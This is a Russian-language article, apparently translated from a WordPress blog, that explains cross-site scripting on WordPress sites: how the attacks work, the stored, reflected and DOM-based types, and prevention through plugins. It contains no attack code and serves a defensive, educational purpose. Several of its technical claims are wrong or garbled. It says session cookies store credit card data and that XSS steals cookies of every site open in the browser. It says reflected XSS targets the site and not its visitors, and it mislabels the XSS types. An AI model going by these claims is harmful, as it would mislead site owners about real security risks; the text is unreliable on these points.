Атаки с использованием межсайтовых сценариев возможны в HTML, Flash, ActiveX и CSS. Тем не менее, JavaScript является наиболее частой целью киберпреступников, поскольку он играет важную роль в большинстве случаев просмотра веб-страниц.
JavaScript – это язык программирования, который позволяет вам реализовывать сложные функции на вашем веб-сайте. Большинство больших и интерактивных веб-сайтов в Интернете были созданы с помощью JavaScript. «Вы можете разрабатывать интерактивные функции, игры или добавлять дополнительные функции, чтобы лучше продвигать свои продукты», – считает Домантас Гуделяускас, менеджер по маркетингу проекта Zyro.
JavaScript настолько популярен в веб-сообществе, потому что он позволяет делать на веб-странице практически все, что угодно. И вот тогда это становится проблематичным. Киберпреступники могут использовать JavaScript для входа на ваши веб-страницы и вставки вредоносных сценариев.
Как работает межсайтовый скриптинг?
Киберпреступники могут выполнять XSS-атаки на веб-сайты WordPress двумя способами. Они могут либо использовать ввод данных пользователем, либо обходить политики одного происхождения. Давайте рассмотрим оба метода, чтобы лучше понять межсайтовый скриптинг.
Управление вводом данных пользователем
Чаще всего киберпреступники проводят атаки XSS, используя вводимые пользователем данные. Большинство веб-сайтов WordPress имеют поля ввода пользователя, такие как панели поиска, формы комментариев, страницы входа и контактные формы. Поле ввода обычно активируется плагином WordPress на базе JavaScript или темой, активной на вашем сайте.
Проблема в том, что не все плагины и темы WordPress на 100% безопасны, и многие из них на самом деле имеют XSS-уязвимости. Для вас это означает, что киберпреступники могут использовать уязвимости WordPress в полях ввода для выполнения вредоносных действий.
В идеале панель поиска сайта (или любое другое поле ввода пользователя) должна принимать в качестве входных данных только простой текст, а не команды. Однако в WordPress есть уязвимость, связанная с вводом данных пользователем, которая позволяет хакерам вводить исполнительный код в поле ввода и отправлять его в базу данных.
Обход одинаковых политик происхождения
Политика одинакового происхождения ограничивает одну страницу для получения информации с других веб-страниц. Согласно политике веб-браузеры разрешают скриптам, содержащимся на первой веб-странице, получать доступ к данным на второй веб-странице, только если они имеют одно и то же происхождение. Это помогает гарантировать отсутствие межсайтовых запросов.
Политика гласит, что если ваша страница Facebook и онлайн-банкинг открыты в одном браузере, два веб-сайта не могут обмениваться информацией друг с другом. Тем не менее, если у вас открыто несколько вкладок Facebook (которые имеют одно и то же происхождение), они могут обмениваться скриптами и другими данными между собой.
Несмотря на политику одинакового происхождения и другие меры безопасности, принятые для предотвращения межсайтовых запросов, киберпреступники нашли способ обойти эту политику, используя файлы cookie сеанса. Это работает, потому что каждый раз, когда вы открываете браузер, он генерирует файл cookie сеанса, чтобы подтвердить вас как пользователя веб-сайта и помочь вам плавно переходить с одной страницы на другую.
Сеансовые файлы cookie хранят учетные данные для входа (в том числе для вашего сайта WordPress), информацию о кредитной карте, сведения о доставке и другие конфиденциальные данные. Вот как это работает. Допустим, вы хотите войти в свою учетную запись онлайн-банкинга. Когда вы открываете веб-сайт, создается файл cookie сеанса. Если бы не файлы cookie сеанса, вам приходилось бы входить в свою учетную запись онлайн-банкинга каждый раз, когда вы хотите переключать страницы.
Браузеры пользователей нередко имеют уязвимости. И если они есть, киберпреступники используют код, который они внедрили в пользовательский ввод, чтобы украсть файлы cookie сеанса. Таким образом, хакеры могут украсть файлы cookie всех веб-сайтов, открытых в браузере пользователя. Затем эти файлы cookie можно использовать для входа в учетные записи пользователей, выдавать себя за них и кражи финансовых данных.
Почему межсайтовый скриптинг опасен?
Межсайтовый скриптинг – одна из наиболее распространенных уязвимостей WordPress с высоким риском. XSS-атаки настолько распространены, потому что, в отличие от других уязвимостей безопасности, их очень сложно устранить. Даже если у вас есть встроенная защита, очень легко сделать ошибки, которые позволят использовать межсайтовые сценарии. Только одна ошибка в HTML или JavaScript вашей веб-страницы может сделать ваш сайт уязвимым для атак с использованием межсайтовых сценариев.
Когда злоумышленники находят способ использовать уязвимости XSS, они могут украсть учетные данные, финансовые данные и способствовать фишинговому мошенничеству. Они также могут распространять компьютерных червей или получать удаленный доступ к компьютерам пользователей. Кроме того, XSS-атаки позволяют хакерам выполнять следующие действия:
- Взломать учетные записи пользователей
- Распространять вредоносное ПО
- Управлять компьютером пользователя удаленно
- Сканирование и использование приложений интрасети
XSS-атаки обычно считаются менее опасными, чем SQL-инъекции. Однако в сочетании с социальной инженерией межсайтовые сценарии позволяют киберпреступникам проводить сложные и чрезвычайно опасные атаки, включая установку троянов, ведение кейлоггеров, фишинг, кражу личных данных и подделку межсайтовых запросов.
Для борьбы с XSS-атаками крупные ИТ-компании запускают специальные программы по борьбе с ошибками. Эти программы внедряются многими организациями и предлагают компенсацию или признание пользователям, сообщающим об уязвимостях XSS в скриптах. Таким образом, компании вкладывают средства в кибербезопасность, заставляя других разработчиков выявлять их ошибки. Google даже запустил игру, в которой вы можете упражняться в устранении ошибок XSS.
Типы XSS-атак
Существует три основных типа атак с использованием межсайтовых сценариев: отраженные, сохраненные и XSS-атаки на основе DOM. Чтобы лучше понять, как работает XSS, давайте рассмотрим каждый тип уязвимостей XSS.
Сохраненные межсайтовые сценарии
Сохраненная уязвимость XSS (также известная как постоянная или тип I) возникает, когда вводимые пользователем данные хранятся в базе данных, поле комментариев, журнале посетителей или других целевых серверах. И затем жертва может получить сохраненные данные (которые не были защищены для отображения в браузере) из веб-приложения. Таким образом, когда хакер выполняет атаку, полезная нагрузка не отображается для фильтра XSS браузера, и жертвы могут случайно активировать полезную нагрузку, если они посещают затронутую страницу.
Отраженный межсайтовый скриптинг
Отраженная уязвимость XSS (также известная как непостоянная или тип II) возникает, когда веб-приложение немедленно возвращает пользовательский ввод в результате поиска, сообщении об ошибке или любом другом ответе. В этом случае введенные пользователем данные отражаются без сохранения, что позволяет хакерам внедрять вредоносные сценарии XSS. В отличие от хранимого XSS, отраженный XSS нацелен на сам веб-сайт, а не на посетителей веб-сайта.
XSS на основе DOM
Уязвимость XSS на основе TA DOM (также известная как Тип 0) возникает в DOM (объектной модели документа), а не в части HTML. Источником считывания вредоносного кода может быть URL-адрес или определенный элемент HTML.
Как предотвратить атаки межсайтового скриптинга?
Теперь, когда вы рассмотрели основы XSS, давайте взглянем на проверенные способы предотвращения атак XSS.
Есть несколько способов защитить свой сайт WordPress от XSS-атак. Если у вас есть продвинутый технический опыт, вы можете добавлять фрагменты кода для проверки и очистки вводимых пользователем данных. Однако, если вы не знакомы с технической частью WordPress, лучше делегировать работу своей технической команде или нанять профессионала, который сможет принять эти меры за вас.
А пока есть две вещи, которые вы можете сделать, чтобы предотвратить атаки с использованием межсайтовых сценариев.
Установите плагин безопасности
Установка плагина безопасности WordPress – это первый шаг к максимальной безопасности вашего сайта WordPress. При выборе подключаемого модуля безопасности используйте этот контрольный список в качестве справочного материала, чтобы убедиться, что подключаемый модуль имеет функции, необходимые для обеспечения безопасности вашего веб-сайта.
- Плагин регулярно проверяет ваш сайт на наличие вредоносных программ.
- Плагин использует брандмауэры для блокировки любого вредоносного трафика.
- Плагин может реализовать меры по усилению защиты WordPress.
- Плагин позволяет управлять всеми обновлениями WordPress.
- Плагин создает резервную копию вашего сайта WordPress, поэтому в случае атаки вы можете восстановить свой сайт.
Установите специальный плагин
Установка анти-XSS плагина – еще один способ предотвратить межсайтовый скриптинг. Плагины Anti-XSS работают, блокируя параметры, которые обычно используются в атаках с использованием межсайтовых сценариев. Например, эти плагины могут защищать поля ввода пользователя, такие как формы комментариев вашего веб-сайта, поля входа в систему или панели поиска.
Итог – 39% всех уязвимостей WordPress связаны с проблемами межсайтового скриптинга. Компании теряют миллионы долларов, пытаясь бороться с последствиями атак с использованием межсайтовых сценариев. Чтобы избежать атак XSS, нацеленных на ваш сайт, важно понимать, что такое межсайтовый скриптинг, и принимать превентивные меры.
Чтобы защитить свой веб-сайт от межсайтовых сценариев, вы должны проверить и очистить поля ввода. Кроме того, вы можете установить средства безопасности и специальные плагины для защиты от XSS, которые помогут защитить ваш сайт WordPress.
Источник записи: https://www.wpexplorer.com























